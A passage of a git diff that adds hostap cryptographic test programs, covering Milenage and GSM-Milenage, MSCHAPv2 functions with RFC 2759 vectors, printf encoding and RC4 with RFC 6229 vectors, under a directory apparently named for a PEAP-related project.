0xa2, 0x94, 0x68, 0xaa, 0x97, 0x75, 0xb5, 0x27 }, + { 0xa9, 0x51, 0x00, 0xe2, 0x76, 0x09, 0x52, 0xcd }, + { 0xb5, 0xf2, 0xda, 0x03, 0x88, 0x3b, 0x69, 0xf9, + 0x6b, 0xf5, 0x2e, 0x02, 0x9e, 0xd9, 0xac, 0x45 }, + { 0xb4, 0x72, 0x13, 0x68, 0xbc, 0x16, 0xea, 0x67, + 0x87, 0x5c, 0x55, 0x98, 0x68, 0x8b, 0xb0, 0xef }, + { 0x83, 0xcf, 0xd5, 0x4d, 0xb9, 0x13 }, + { 0x4f, 0x20, 0x39, 0x39, 0x2d, 0xdc } + } +}; + +#define NUM_TESTS ARRAY_SIZE(test_sets) + + +int main(int argc, char *argv[]) +{ + u8 buf[16], buf2[16], buf3[16], buf4[16], buf5[16], opc[16]; + u8 auts[14], sqn[6], _rand[16]; + int ret = 0, res, i; + const struct milenage_test_set *t; + size_t res_len; + + wpa_debug_level = 0; + + printf("Milenage test sets\n"); + for (i = 0; i < NUM_TESTS; i++) { + t = &test_sets[i]; + printf("Test Set %d\n", i + 1); + + milenage_opc(t->op, t->k, opc); + if (memcmp(opc, t->opc, 16) != 0) { + printf("- milenage_opc failed\n"); + ret++; + } + + if (milenage_f1(opc, t->k, t->rand, t->sqn, t->amf, buf, buf2) + || memcmp(buf, t->f1, 8) != 0) { + printf("- milenage_f1 failed\n"); + ret++; + } + if (memcmp(buf2, t->f1star, 8) != 0) { + printf("- milenage_f1* failed\n"); + ret++; + } + + if (milenage_f2345(opc, t->k, t->rand, buf, buf2, buf3, buf4, + buf5) || + memcmp(buf, t->f2, 8) != 0) { + printf("- milenage_f2 failed\n"); + ret++; + } + if (memcmp(buf2, t->f3, 16) != 0) { + printf("- milenage_f3 failed\n"); + ret++; + } + if (memcmp(buf3, t->f4, 16) != 0) { + printf("- milenage_f4 failed\n"); + ret++; + } + if (memcmp(buf4, t->f5, 6) != 0) { + printf("- milenage_f5 failed\n"); + ret++; + } + if (memcmp(buf5, t->f5star, 6) != 0) { + printf("- milenage_f5* failed\n"); + ret++; + } + } + + printf("milenage_auts test:\n"); + os_memcpy(auts, "\x4f\x20\x39\x39\x2d\xdd", 6); + os_memcpy(auts + 6, "\x4b\xb4\x31\x6e\xd4\xa1\x46\x88", 8); + res = milenage_auts(t->opc, t->k, t->rand, auts, buf); + printf("AUTS for test set %d: %d / SQN=%02x%02x%02x%02x%02x%02x\n", + i, res, buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]); + if (res) + ret++; + + os_memset(_rand, 0xaa, sizeof(_rand)); + os_memcpy(auts, + "\x43\x68\x1a\xd3\xda\xf0\x06\xbc\xde\x40\x5a\x20\x72\x67", + 14); + res = milenage_auts(t->opc, t->k, _rand, auts, buf); + printf("AUTS from a test USIM: %d / SQN=%02x%02x%02x%02x%02x%02x\n", + res, buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]); + if (res) + ret++; + + printf("milenage_generate test:\n"); + os_memcpy(sqn, "\x00\x00\x00\x00\x40\x44", 6); + os_memcpy(_rand, "\x12\x69\xb8\x23\x41\x39\x35\x66\xfb\x99\x41\xe9\x84" + "\x4f\xe6\x2f", 16); + res_len = 8; + milenage_generate(t->opc, t->amf, t->k, sqn, _rand, buf, buf2, buf3, + buf4, &res_len); + wpa_hexdump(MSG_DEBUG, "SQN", sqn, 6); + wpa_hexdump(MSG_DEBUG, "RAND", _rand, 16); + wpa_hexdump(MSG_DEBUG, "AUTN", buf, 16); + wpa_hexdump(MSG_DEBUG, "IK", buf2, 16); + wpa_hexdump(MSG_DEBUG, "CK", buf3, 16); + wpa_hexdump(MSG_DEBUG, "RES", buf4, res_len); + + printf("GSM-Milenage test sets\n"); + for (i = 0; i < NUM_GSM_TESTS; i++) { + const struct gsm_milenage_test_set *g; + u8 sres[4], kc[8]; + g = &gsm_test_sets[i]; + printf("Test Set %d\n", i + 1); + gsm_milenage(g->opc, g->ki, g->rand, sres, kc); + if (memcmp(g->kc, kc, 8) != 0) { + printf("- gsm_milenage Kc failed\n"); + ret++; + } +#ifdef GSM_MILENAGE_ALT_SRES + if (memcmp(g->sres2, sres, 4) != 0) { + printf("- gsm_milenage SRES#2 failed\n"); + ret++; + } +#else /* GSM_MILENAGE_ALT_SRES */ + if (memcmp(g->sres1, sres, 4) != 0) { + printf("- gsm_milenage SRES#1 failed\n"); + ret++; + } +#endif /* GSM_MILENAGE_ALT_SRES */ + } + + if (ret) + printf("Something failed\n"); + else + printf("OK\n"); + + return ret; +} diff --git a/peapwn/mods/hostap/tests/test-ms_funcs.c b/peapwn/mods/hostap/tests/test-ms_funcs.c new file mode 100644 index 000000000..b740bc9fe --- /dev/null +++ b/peapwn/mods/hostap/tests/test-ms_funcs.c @@ -0,0 +1,114 @@ +/* + * Test program for ms_funcs + * Copyright (c) 2003-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "crypto/ms_funcs.c" + + +int main(int argc, char *argv[]) +{ + /* Test vector from RFC2759 example */ + char *username = "User"; + char *password = "clientPass"; + u8 auth_challenge[] = { + 0x5B, 0x5D, 0x7C, 0x7D, 0x7B, 0x3F, 0x2F, 0x3E, + 0x3C, 0x2C, 0x60, 0x21, 0x32, 0x26, 0x26, 0x28 + }; + u8 peer_challenge[] = { + 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, + 0x28, 0x29, 0x5F, 0x2B, 0x3A, 0x33, 0x7C, 0x7E + }; + u8 challenge[] = { 0xD0, 0x2E, 0x43, 0x86, 0xBC, 0xE9, 0x12, 0x26 }; + u8 password_hash[] = { + 0x44, 0xEB, 0xBA, 0x8D, 0x53, 0x12, 0xB8, 0xD6, + 0x11, 0x47, 0x44, 0x11, 0xF5, 0x69, 0x89, 0xAE + }; + u8 nt_response[] = { + 0x82, 0x30, 0x9E, 0xCD, 0x8D, 0x70, 0x8B, 0x5E, + 0xA0, 0x8F, 0xAA, 0x39, 0x81, 0xCD, 0x83, 0x54, + 0x42, 0x33, 0x11, 0x4A, 0x3D, 0x85, 0xD6, 0xDF + }; + u8 password_hash_hash[] = { + 0x41, 0xC0, 0x0C, 0x58, 0x4B, 0xD2, 0xD9, 0x1C, + 0x40, 0x17, 0xA2, 0xA1, 0x2F, 0xA5, 0x9F, 0x3F + }; + u8 authenticator_response[] = { + 0x40, 0x7A, 0x55, 0x89, 0x11, 0x5F, 0xD0, 0xD6, + 0x20, 0x9F, 0x51, 0x0F, 0xE9, 0xC0, 0x45, 0x66, + 0x93, 0x2C, 0xDA, 0x56 + }; + u8 master_key[] = { + 0xFD, 0xEC, 0xE3, 0x71, 0x7A, 0x8C, 0x83, 0x8C, + 0xB3, 0x88, 0xE5, 0x27, 0xAE, 0x3C, 0xDD, 0x31 + }; + u8 send_start_key[] = { + 0x8B, 0x7C, 0xDC, 0x14, 0x9B, 0x99, 0x3A, 0x1B, + 0xA1, 0x18, 0xCB, 0x15, 0x3F, 0x56, 0xDC, 0xCB + }; + u8 buf[32]; + + int errors = 0; + + printf("Testing ms_funcs.c\n"); + + if (challenge_hash(peer_challenge, auth_challenge, + (u8 *) username, strlen(username), + buf) || + memcmp(challenge, buf, sizeof(challenge)) != 0) { + printf("challenge_hash failed\n"); + errors++; + } + + if (nt_password_hash((u8 *) password, strlen(password), buf) || + memcmp(password_hash, buf, sizeof(password_hash)) != 0) { + printf("nt_password_hash failed\n"); + errors++; + } + + if (generate_nt_response(auth_challenge, peer_challenge, + (u8 *) username, strlen(username), + (u8 *) password, strlen(password), + buf) || + memcmp(nt_response, buf, sizeof(nt_response)) != 0) { + printf("generate_nt_response failed\n"); + errors++; + } + + if (hash_nt_password_hash(password_hash, buf) || + memcmp(password_hash_hash, buf, sizeof(password_hash_hash)) != 0) { + printf("hash_nt_password_hash failed\n"); + errors++; + } + + if (generate_authenticator_response((u8 *) password, strlen(password), + peer_challenge, auth_challenge, + (u8 *) username, strlen(username), + nt_response, buf) || + memcmp(authenticator_response, buf, sizeof(authenticator_response)) + != 0) { + printf("generate_authenticator_response failed\n"); + errors++; + } + + if (get_master_key(password_hash_hash, nt_response, buf) || + memcmp(master_key, buf, sizeof(master_key)) != 0) { + printf("get_master_key failed\n"); + errors++; + } + + if (get_asymetric_start_key(master_key, buf, sizeof(send_start_key), + 1, 1) || + memcmp(send_start_key, buf, sizeof(send_start_key)) != 0) { + printf("get_asymetric_start_key failed\n"); + errors++; + } + + if (errors) + printf("FAILED! %d errors\n", errors); + + return errors; +} diff --git a/peapwn/mods/hostap/tests/test-printf.c b/peapwn/mods/hostap/tests/test-printf.c new file mode 100644 index 000000000..a8a2e258e --- /dev/null +++ b/peapwn/mods/hostap/tests/test-printf.c @@ -0,0 +1,83 @@ +/* + * printf format routines - test program + * Copyright (c) 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" +#include "utils/os.h" +#include "utils/common.h" + + +struct test_data { + u8 *data; + size_t len; + char *encoded; +}; + +static const struct test_data tests[] = { + { (u8 *) "abcde", 5, "abcde" }, + { (u8 *) "a\0b\nc\ed\re\tf", 11, "a\\0b\\nc\\ed\\re\\tf" }, + { (u8 *) "\x00\x31\x00\x32\x00\x39", 6, "\\x001\\0002\\09" }, + { (u8 *) "\n\n\n", 3, "\n\12\x0a" }, + { (u8 *) "\303\245\303\244\303\266\303\205\303\204\303\226", 12, + "\\xc3\\xa5\xc3\\xa4\\xc3\\xb6\\xc3\\x85\\xc3\\x84\\xc3\\x96" }, + { (u8 *) "\303\245\303\244\303\266\303\205\303\204\303\226", 12, + "\\303\\245\\303\\244\\303\\266\\303\\205\\303\\204\\303\\226" }, + { (u8 *) "\xe5\xe4\xf6\xc5\xc4\xd6", 6, + "\\xe5\\xe4\\xf6\\xc5\\xc4\\xd6" }, + { NULL, 0, NULL } +}; + + +static void print_hex(const u8 *data, size_t len) +{ + size_t i; + for (i = 0; i < len; i++) + printf(" %02x", data[i]); +} + + +int main(int argc, char *argv[]) +{ + int i; + size_t binlen; + char buf[100]; + u8 bin[100]; + int errors = 0; + + for (i = 0; tests[i].data; i++) { + const struct test_data *test = &tests[i]; + printf("%d:", i); + print_hex(test->data, test->len); + printf_encode(buf, sizeof(buf), test->data, test->len); + printf(" -> \"%s\"\n", buf); + + binlen = printf_decode(bin, sizeof(bin), buf); + if (binlen != test->len || + os_memcmp(bin, test->data, binlen) != 0) { + printf("Error in decoding#1:"); + print_hex(bin, binlen); + printf("\n"); + errors++; + } + + binlen = printf_decode(bin, sizeof(bin), test->encoded); + if (binlen != test->len || + os_memcmp(bin, test->data, binlen) != 0) { + printf("Error in decoding#2:"); + print_hex(bin, binlen); + printf("\n"); + errors++; + } + } + + if (errors) { + printf("%d test(s) failed\n", errors); + return -1; + } + + return 0; +} diff --git a/peapwn/mods/hostap/tests/test-rc4.c b/peapwn/mods/hostap/tests/test-rc4.c new file mode 100644 index 000000000..99f559274 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-rc4.c @@ -0,0 +1,250 @@ +/* + * Test program for RC4 + * Copyright (c) 2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" + + +struct rc4_test_vector { + size_t key_len; + const u8 *key; + const u8 *stream0; + const u8 *stream240; + const u8 *stream496; + const u8 *stream752; + const u8 *stream1008; + const u8 *stream1520; + const u8 *stream2032; + const u8 *stream3056; + const u8 *stream4080; +}; + +/* RFC 6229 test vectors */ +static const struct rc4_test_vector tests[] = { + { + 5, (u8 *) "\x01\x02\x03\x04\x05", + (u8 *) "\xb2\x39\x63\x05\xf0\x3d\xc0\x27\xcc\xc3\x52\x4a\x0a\x11\x18\xa8\x69\x82\x94\x4f\x18\xfc\x82\xd5\x89\xc4\x03\xa4\x7a\x0d\x09\x19", + (u8 *) "\x28\xcb\x11\x32\xc9\x6c\xe2\x86\x42\x1d\xca\xad\xb8\xb6\x9e\xae\x1c\xfc\xf6\x2b\x03\xed\xdb\x64\x1d\x77\xdf\xcf\x7f\x8d\x8c\x93", + (u8 *) "\x42\xb7\xd0\xcd\xd9\x18\xa8\xa3\x3d\xd5\x17\x81\xc8\x1f\x40\x41\x64\x59\x84\x44\x32\xa7\xda\x92\x3c\xfb\x3e\xb4\x98\x06\x61\xf6", + (u8 *) "\xec\x10\x32\x7b\xde\x2b\xee\xfd\x18\xf9\x27\x76\x80\x45\x7e\x22\xeb\x62\x63\x8d\x4f\x0b\xa1\xfe\x9f\xca\x20\xe0\x5b\xf8\xff\x2b", + (u8 *) "\x45\x12\x90\x48\xe6\xa0\xed\x0b\x56\xb4\x90\x33\x8f\x07\x8d\xa5\x30\xab\xbc\xc7\xc2\x0b\x01\x60\x9f\x23\xee\x2d\x5f\x6b\xb7\xdf", + (u8 *) "\x32\x94\xf7\x44\xd8\xf9\x79\x05\x07\xe7\x0f\x62\xe5\xbb\xce\xea\xd8\x72\x9d\xb4\x18\x82\x25\x9b\xee\x4f\x82\x53\x25\xf5\xa1\x30", + (u8 *) "\x1e\xb1\x4a\x0c\x13\xb3\xbf\x47\xfa\x2a\x0b\xa9\x3a\xd4\x5b\x8b\xcc\x58\x2f\x8b\xa9\xf2\x65\xe2\xb1\xbe\x91\x12\xe9\x75\xd2\xd7", + (u8 *) "\xf2\xe3\x0f\x9b\xd1\x02\xec\xbf\x75\xaa\xad\xe9\xbc\x35\xc4\x3c\xec\x0e\x11\xc4\x79\xdc\x32\x9d\xc8\xda\x79\x68\xfe\x96\x56\x81", + (u8 *) "\x06\x83\x26\xa2\x11\x84\x16\xd2\x1f\x9d\x04\xb2\xcd\x1c\xa0\x50\xff\x25\xb5\x89\x95\x99\x67\x07\xe5\x1f\xbd\xf0\x8b\x34\xd8\x75" + }, + { + 7, (u8 *) "\x01\x02\x03\x04\x05\x06\x07", + (u8 *) "\x29\x3f\x02\xd4\x7f\x37\xc9\xb6\x33\xf2\xaf\x52\x85\xfe\xb4\x6b\xe6\x20\xf1\x39\x0d\x19\xbd\x84\xe2\xe0\xfd\x75\x20\x31\xaf\xc1", + (u8 *) "\x91\x4f\x02\x53\x1c\x92\x18\x81\x0d\xf6\x0f\x67\xe3\x38\x15\x4c\xd0\xfd\xb5\x83\x07\x3c\xe8\x5a\xb8\x39\x17\x74\x0e\xc0\x11\xd5", + (u8 *) "\x75\xf8\x14\x11\xe8\x71\xcf\xfa\x70\xb9\x0c\x74\xc5\x92\xe4\x54\x0b\xb8\x72\x02\x93\x8d\xad\x60\x9e\x87\xa5\xa1\xb0\x79\xe5\xe4", + (u8 *) "\xc2\x91\x12\x46\xb6\x12\xe7\xe7\xb9\x03\xdf\xed\xa1\xda\xd8\x66\x32\x82\x8f\x91\x50\x2b\x62\x91\x36\x8d\xe8\x08\x1d\xe3\x6f\xc2", + (u8 *) "\xf3\xb9\xa7\xe3\xb2\x97\xbf\x9a\xd8\x04\x51\x2f\x90\x63\xef\xf1\x8e\xcb\x67\xa9\xba\x1f\x55\xa5\xa0\x67\xe2\xb0\x26\xa3\x67\x6f", + (u8 *) "\xd2\xaa\x90\x2b\xd4\x2d\x0d\x7c\xfd\x34\x0c\xd4\x58\x10\x52\x9f\x78\xb2\x72\xc9\x6e\x42\xea\xb4\xc6\x0b\xd9\x14\xe3\x9d\x06\xe3", + (u8 *) "\xf4\x33\x2f\xd3\x1a\x07\x93\x96\xee\x3c\xee\x3f\x2a\x4f\xf0\x49\x05\x45\x97\x81\xd4\x1f\xda\x7f\x30\xc1\xbe\x7e\x12\x46\xc6\x23", + (u8 *) "\xad\xfd\x38\x68\xb8\xe5\x14\x85\xd5\xe6\x10\x01\x7e\x3d\xd6\x09\xad\x26\x58\x1c\x0c\x5b\xe4\x5f\x4c\xea\x01\xdb\x2f\x38\x05\xd5", + (u8 *) "\xf3\x17\x2c\xef\xfc\x3b\x3d\x99\x7c\x85\xcc\xd5\xaf\x1a\x95\x0c\xe7\x4b\x0b\x97\x31\x22\x7f\xd3\x7c\x0e\xc0\x8a\x47\xdd\xd8\xb8" + }, + { + 8, (u8 *) "\x01\x02\x03\x04\x05\x06\x07\x08", + (u8 *) "\x97\xab\x8a\x1b\xf0\xaf\xb9\x61\x32\xf2\xf6\x72\x58\xda\x15\xa8\x82\x63\xef\xdb\x45\xc4\xa1\x86\x84\xef\x87\xe6\xb1\x9e\x5b\x09", + (u8 *) "\x96\x36\xeb\xc9\x84\x19\x26\xf4\xf7\xd1\xf3\x62\xbd\xdf\x6e\x18\xd0\xa9\x90\xff\x2c\x05\xfe\xf5\xb9\x03\x73\xc9\xff\x4b\x87\x0a", + (u8 *) "\x73\x23\x9f\x1d\xb7\xf4\x1d\x80\xb6\x43\xc0\xc5\x25\x18\xec\x63\x16\x3b\x31\x99\x23\xa6\xbd\xb4\x52\x7c\x62\x61\x26\x70\x3c\x0f", + (u8 *) "\x49\xd6\xc8\xaf\x0f\x97\x14\x4a\x87\xdf\x21\xd9\x14\x72\xf9\x66\x44\x17\x3a\x10\x3b\x66\x16\xc5\xd5\xad\x1c\xee\x40\xc8\x63\xd0", + (u8 *) "\x27\x3c\x9c\x4b\x27\xf3\x22\xe4\xe7\x16\xef\x53\xa4\x7d\xe7\xa4\xc6\xd0\xe7\xb2\x26\x25\x9f\xa9\x02\x34\x90\xb2\x61\x67\xad\x1d", + (u8 *) "\x1f\xe8\x98\x67\x13\xf0\x7c\x3d\x9a\xe1\xc1\x63\xff\x8c\xf9\xd3\x83\x69\xe1\xa9\x65\x61\x0b\xe8\x87\xfb\xd0\xc7\x91\x62\xaa\xfb", + (u8 *) "\x0a\x01\x27\xab\xb4\x44\x84\xb9\xfb\xef\x5a\xbc\xae\x1b\x57\x9f\xc2\xcd\xad\xc6\x40\x2e\x8e\xe8\x66\xe1\xf3\x7b\xdb\x47\xe4\x2c", + (u8 *) "\x26\xb5\x1e\xa3\x7d\xf8\xe1\xd6\xf7\x6f\xc3\xb6\x6a\x74\x29\xb3\xbc\x76\x83\x20\x5d\x4f\x44\x3d\xc1\xf2\x9d\xda\x33\x15\xc8\x7b", + (u8 *) "\xd5\xfa\x5a\x34\x69\xd2\x9a\xaa\xf8\x3d\x23\x58\x9d\xb8\xc8\x5b\x3f\xb4\x6e\x2c\x8f\x0f\x06\x8e\xdc\xe8\xcd\xcd\x7d\xfc\x58\x62" + }, + { + 10, (u8 *) "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a", + (u8 *) "\xed\xe3\xb0\x46\x43\xe5\x86\xcc\x90\x7d\xc2\x18\x51\x70\x99\x02\x03\x51\x6b\xa7\x8f\x41\x3b\xeb\x22\x3a\xa5\xd4\xd2\xdf\x67\x11", + (u8 *) "\x3c\xfd\x6c\xb5\x8e\xe0\xfd\xde\x64\x01\x76\xad\x00\x00\x04\x4d\x48\x53\x2b\x21\xfb\x60\x79\xc9\x11\x4c\x0f\xfd\x9c\x04\xa1\xad", + (u8 *) "\x3e\x8c\xea\x98\x01\x71\x09\x97\x90\x84\xb1\xef\x92\xf9\x9d\x86\xe2\x0f\xb4\x9b\xdb\x33\x7e\xe4\x8b\x8d\x8d\xc0\xf4\xaf\xef\xfe", + (u8 *) "\x5c\x25\x21\xea\xcd\x79\x66\xf1\x5e\x05\x65\x44\xbe\xa0\xd3\x15\xe0\x67\xa7\x03\x19\x31\xa2\x46\xa6\xc3\x87\x5d\x2f\x67\x8a\xcb", + (u8 *) "\xa6\x4f\x70\xaf\x88\xae\x56\xb6\xf8\x75\x81\xc0\xe2\x3e\x6b\x08\xf4\x49\x03\x1d\xe3\x12\x81\x4e\xc6\xf3\x19\x29\x1f\x4a\x05\x16", + (u8 *) "\xbd\xae\x85\x92\x4b\x3c\xb1\xd0\xa2\xe3\x3a\x30\xc6\xd7\x95\x99\x8a\x0f\xed\xdb\xac\x86\x5a\x09\xbc\xd1\x27\xfb\x56\x2e\xd6\x0a", + (u8 *) "\xb5\x5a\x0a\x5b\x51\xa1\x2a\x8b\xe3\x48\x99\xc3\xe0\x47\x51\x1a\xd9\xa0\x9c\xea\x3c\xe7\x5f\xe3\x96\x98\x07\x03\x17\xa7\x13\x39", + (u8 *) "\x55\x22\x25\xed\x11\x77\xf4\x45\x84\xac\x8c\xfa\x6c\x4e\xb5\xfc\x7e\x82\xcb\xab\xfc\x95\x38\x1b\x08\x09\x98\x44\x21\x29\xc2\xf8", + (u8 *) "\x1f\x13\x5e\xd1\x4c\xe6\x0a\x91\x36\x9d\x23\x22\xbe\xf2\x5e\x3c\x08\xb6\xbe\x45\x12\x4a\x43\xe2\xeb\x77\x95\x3f\x84\xdc\x85\x53" + }, + { + 16, (u8 *) "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10", + (u8 *) "\x9a\xc7\xcc\x9a\x60\x9d\x1e\xf7\xb2\x93\x28\x99\xcd\xe4\x1b\x97\x52\x48\xc4\x95\x90\x14\x12\x6a\x6e\x8a\x84\xf1\x1d\x1a\x9e\x1c", + (u8 *) "\x06\x59\x02\xe4\xb6\x20\xf6\xcc\x36\xc8\x58\x9f\x66\x43\x2f\x2b\xd3\x9d\x56\x6b\xc6\xbc\xe3\x01\x07\x68\x15\x15\x49\xf3\x87\x3f", + (u8 *) "\xb6\xd1\xe6\xc4\xa5\xe4\x77\x1c\xad\x79\x53\x8d\xf2\x95\xfb\x11\xc6\x8c\x1d\x5c\x55\x9a\x97\x41\x23\xdf\x1d\xbc\x52\xa4\x3b\x89", + (u8 *) "\xc5\xec\xf8\x8d\xe8\x97\xfd\x57\xfe\xd3\x01\x70\x1b\x82\xa2\x59\xec\xcb\xe1\x3d\xe1\xfc\xc9\x1c\x11\xa0\xb2\x6c\x0b\xc8\xfa\x4d", + (u8 *) "\xe7\xa7\x25\x74\xf8\x78\x2a\xe2\x6a\xab\xcf\x9e\xbc\xd6\x60\x65\xbd\xf0\x32\x4e\x60\x83\xdc\xc6\xd3\xce\xdd\x3c\xa8\xc5\x3c\x16", + (u8 *) "\xb4\x01\x10\xc4\x19\x0b\x56\x22\xa9\x61\x16\xb0\x01\x7e\xd2\x97\xff\xa0\xb5\x14\x64\x7e\xc0\x4f\x63\x06\xb8\x92\xae\x66\x11\x81", + (u8 *) "\xd0\x3d\x1b\xc0\x3c\xd3\x3d\x70\xdf\xf9\xfa\x5d\x71\x96\x3e\xbd\x8a\x44\x12\x64\x11\xea\xa7\x8b\xd5\x1e\x8d\x87\xa8\x87\x9b\xf5", + (u8 *) "\xfa\xbe\xb7\x60\x28\xad\xe2\xd0\xe4\x87\x22\xe4\x6c\x46\x15\xa3\xc0\x5d\x88\xab\xd5\x03\x57\xf9\x35\xa6\x3c\x59\xee\x53\x76\x23", + (u8 *) "\xff\x38\x26\x5c\x16\x42\xc1\xab\xe8\xd3\xc2\xfe\x5e\x57\x2b\xf8\xa3\x6a\x4c\x30\x1a\xe8\xac\x13\x61\x0c\xcb\xc1\x22\x56\xca\xcc" + }, + { + 24, (u8 *) "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18", + (u8 *) "\x05\x95\xe5\x7f\xe5\xf0\xbb\x3c\x70\x6e\xda\xc8\xa4\xb2\xdb\x11\xdf\xde\x31\x34\x4a\x1a\xf7\x69\xc7\x4f\x07\x0a\xee\x9e\x23\x26", + (u8 *) "\xb0\x6b\x9b\x1e\x19\x5d\x13\xd8\xf4\xa7\x99\x5c\x45\x53\xac\x05\x6b\xd2\x37\x8e\xc3\x41\xc9\xa4\x2f\x37\xba\x79\xf8\x8a\x32\xff", + (u8 *) "\xe7\x0b\xce\x1d\xf7\x64\x5a\xdb\x5d\x2c\x41\x30\x21\x5c\x35\x22\x9a\x57\x30\xc7\xfc\xb4\xc9\xaf\x51\xff\xda\x89\xc7\xf1\xad\x22", + (u8 *) "\x04\x85\x05\x5f\xd4\xf6\xf0\xd9\x63\xef\x5a\xb9\xa5\x47\x69\x82\x59\x1f\xc6\x6b\xcd\xa1\x0e\x45\x2b\x03\xd4\x55\x1f\x6b\x62\xac", + (u8 *) "\x27\x53\xcc\x83\x98\x8a\xfa\x3e\x16\x88\xa1\xd3\xb4\x2c\x9a\x02\x93\x61\x0d\x52\x3d\x1d\x3f\x00\x62\xb3\xc2\xa3\xbb\xc7\xc7\xf0", + (u8 *) "\x96\xc2\x48\x61\x0a\xad\xed\xfe\xaf\x89\x78\xc0\x3d\xe8\x20\x5a\x0e\x31\x7b\x3d\x1c\x73\xb9\xe9\xa4\x68\x8f\x29\x6d\x13\x3a\x19", + (u8 *) "\xbd\xf0\xe6\xc3\xcc\xa5\xb5\xb9\xd5\x33\xb6\x9c\x56\xad\xa1\x20\x88\xa2\x18\xb6\xe2\xec\xe1\xe6\x24\x6d\x44\xc7\x59\xd1\x9b\x10", + (u8 *) "\x68\x66\x39\x7e\x95\xc1\x40\x53\x4f\x94\x26\x34\x21\x00\x6e\x40\x32\xcb\x0a\x1e\x95\x42\xc6\xb3\xb8\xb3\x98\xab\xc3\xb0\xf1\xd5", + (u8 *) "\x29\xa0\xb8\xae\xd5\x4a\x13\x23\x24\xc6\x2e\x42\x3f\x54\xb4\xc8\x3c\xb0\xf3\xb5\x02\x0a\x98\xb8\x2a\xf9\xfe\x15\x44\x84\xa1\x68" + }, + { + 32, (u8 *) "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20", + (u8 *) "\xea\xa6\xbd\x25\x88\x0b\xf9\x3d\x3f\x5d\x1e\x4c\xa2\x61\x1d\x91\xcf\xa4\x5c\x9f\x7e\x71\x4b\x54\xbd\xfa\x80\x02\x7c\xb1\x43\x80", + (u8 *) "\x11\x4a\xe3\x44\xde\xd7\x1b\x35\xf2\xe6\x0f\xeb\xad\x72\x7f\xd8\x02\xe1\xe7\x05\x6b\x0f\x62\x39\x00\x49\x64\x22\x94\x3e\x97\xb6", + (u8 *) "\x91\xcb\x93\xc7\x87\x96\x4e\x10\xd9\x52\x7d\x99\x9c\x6f\x93\x6b\x49\xb1\x8b\x42\xf8\xe8\x36\x7c\xbe\xb5\xef\x10\x4b\xa1\xc7\xcd", + (u8 *) "\x87\x08\x4b\x3b\xa7\x00\xba\xde\x95\x56\x10\x67\x27\x45\xb3\x74\xe7\xa7\xb9\xe9\xec\x54\x0d\x5f\xf4\x3b\xdb\x12\x79\x2d\x1b\x35", + (u8 *) "\xc7\x99\xb5\x96\x73\x8f\x6b\x01\x8c\x76\xc7\x4b\x17\x59\xbd\x90\x7f\xec\x5b\xfd\x9f\x9b\x89\xce\x65\x48\x30\x90\x92\xd7\xe9\x58", + (u8 *) "\x40\xf2\x50\xb2\x6d\x1f\x09\x6a\x4a\xfd\x4c\x34\x0a\x58\x88\x15\x3e\x34\x13\x5c\x79\xdb\x01\x02\x00\x76\x76\x51\xcf\x26\x30\x73", + (u8 *) "\xf6\x56\xab\xcc\xf8\x8d\xd8\x27\x02\x7b\x2c\xe9\x17\xd4\x64\xec\x18\xb6\x25\x03\xbf\xbc\x07\x7f\xba\xbb\x98\xf2\x0d\x98\xab\x34", + (u8 *) "\x8a\xed\x95\xee\x5b\x0d\xcb\xfb\xef\x4e\xb2\x1d\x3a\x3f\x52\xf9\x62\x5a\x1a\xb0\x0e\xe3\x9a\x53\x27\x34\x6b\xdd\xb0\x1a\x9c\x18", + (u8 *) "\xa1\x3a\x7c\x79\xc7\xe1\x19\xb5\xab\x02\x96\xab\x28\xc3\x00\xb9\xf3\xe4\xc0\xa2\xe0\x2d\x1d\x01\xf7\xf0\xa7\x46\x18\xaf\x2b\x48" + }, + { + 5, (u8 *) "\x83\x32\x22\x77\x2a", + (u8 *) "\x80\xad\x97\xbd\xc9\x73\xdf\x8a\x2e\x87\x9e\x92\xa4\x97\xef\xda\x20\xf0\x60\xc2\xf2\xe5\x12\x65\x01\xd3\xd4\xfe\xa1\x0d\x5f\xc0", + (u8 *) "\xfa\xa1\x48\xe9\x90\x46\x18\x1f\xec\x6b\x20\x85\xf3\xb2\x0e\xd9\xf0\xda\xf5\xba\xb3\xd5\x96\x83\x98\x57\x84\x6f\x73\xfb\xfe\x5a", + (u8 *) "\x1c\x7e\x2f\xc4\x63\x92\x32\xfe\x29\x75\x84\xb2\x96\x99\x6b\xc8\x3d\xb9\xb2\x49\x40\x6c\xc8\xed\xff\xac\x55\xcc\xd3\x22\xba\x12", + (u8 *) "\xe4\xf9\xf7\xe0\x06\x61\x54\xbb\xd1\x25\xb7\x45\x56\x9b\xc8\x97\x75\xd5\xef\x26\x2b\x44\xc4\x1a\x9c\xf6\x3a\xe1\x45\x68\xe1\xb9", + (u8 *) "\x6d\xa4\x53\xdb\xf8\x1e\x82\x33\x4a\x3d\x88\x66\xcb\x50\xa1\xe3\x78\x28\xd0\x74\x11\x9c\xab\x5c\x22\xb2\x94\xd7\xa9\xbf\xa0\xbb", + (u8 *) "\xad\xb8\x9c\xea\x9a\x15\xfb\xe6\x17\x29\x5b\xd0\x4b\x8c\xa0\x5c\x62\x51\xd8\x7f\xd4\xaa\xae\x9a\x7e\x4a\xd5\xc2\x17\xd3\xf3\x00", + (u8 *) "\xe7\x11\x9b\xd6\xdd\x9b\x22\xaf\xe8\xf8\x95\x85\x43\x28\x81\xe2\x78\x5b\x60\xfd\x7e\xc4\xe9\xfc\xb6\x54\x5f\x35\x0d\x66\x0f\xab", + (u8 *) 